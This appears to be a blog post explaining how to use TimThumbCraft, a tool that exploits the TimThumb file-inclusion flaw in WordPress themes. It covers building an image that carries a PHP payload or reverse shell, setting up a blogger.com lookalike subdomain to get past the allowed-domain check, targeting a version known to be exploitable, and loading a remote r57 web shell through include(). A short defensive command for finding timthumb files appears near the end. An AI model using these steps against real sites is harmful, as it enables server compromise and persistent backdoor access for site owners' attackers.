List known vulnerable themesChoose between 2 images or select your ownEnter your own code or use the Reverse PHP ShellEncode your PHP Payload, this applies only if “code” is chosenBase64 and Hexadecimal encoding is currently supportedHexadecimal output of the created file. (Can be used in paste’s, etc.)MD5 calculation of filename, that the target server will most likely useIf the src field on the target server doesn’t require Base64-encoded strings as some do, the issue is most likely because the evil domain you created isn’t readable by the web server or because it isn’t in the list of allowed domains contained within the timthumb.php file. From version to version, this appears to have changed but in version 1.32, blogger.com was a valid domain.
Q: What should the created subdomain look like?
A: blogger.com.yourdomain.tld
Simply enough, you need to test in your web browser that you can access your subdomain and of course, upload the image file which you created with TimThumbCraft. If your image is displayed when you perform the call to the timthumb.php file on the target server, you may have to press CTRL+F5 in your browser as it may be the case that the image is locally cached.
Another very important thing is that it’s very easy to change the cache directory so in some cases, the cache directory on the target may not be named “cache”. Last but not least, from version to version, strings may be prepended to the file that you forced the target server to cache locally. When I tested 1.33 in which the original researcher reported a vulnerability, it seemed like it created files without any extension. Therefore, I used 1.32 as I could confirm it was exploitable.
If you know PHP, you’re aware that you can do anything that the all-too-common malicious PHP shells can do. If you want to load a remote shell and allow_url_include is enabled within php.ini, use: include(“full url here”); and simply hit enter. As you can see in the screenshot below, I loaded a remotely stored r57 shell to demonstrate this PHP feature. Many RFI and LFI vulnerabilities are related to dynamic use of the include(); function in PHP.
Yes. The original researcher rewrote the entire script, line by line, to optimize it and make it more secure. I did a quick review of the code and fuzzed a few fields I found interesting to see if there were any obvious mistakes. None were found, so the newest version is “pretty secure”. Remember though that nothing is 100% secure.
If you want to find timthumb files on your server the right way, issue this command in a terminal: (Thanks rAWjAW for the CLI Kung Fu)
find . | grep php | xargs grep -s timthumbBe sure that you’re in the www / document root of your web server as you may not know where any timthumb files are located and what they’re named. Hence the reason it’s a very bad idea to just search for “timthumb.php” as a lot of researchers recommended.
References:
Proof of Concept: http://www.exploit-db.com/exploits/17602/
TimThumbCraft: Download it here
Demo Video (LQ): http://www.youtube.com/watch?v=udyEOzHK08E
Demo Video (HQ): https://rapidshare.com/files/2016620847/timthumb.avi
Original Info: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
Vulnerable Themes: http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html
![[Image: suZD3nS.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMn0iN1vxcZQgueaJ9ym2ZfVj8zhu5fGeUze2BFhdTnEBborUkG2bh4y7TwswSjrz0dxnCmgDqm7v4ZSK9bCm9zg=s0-d)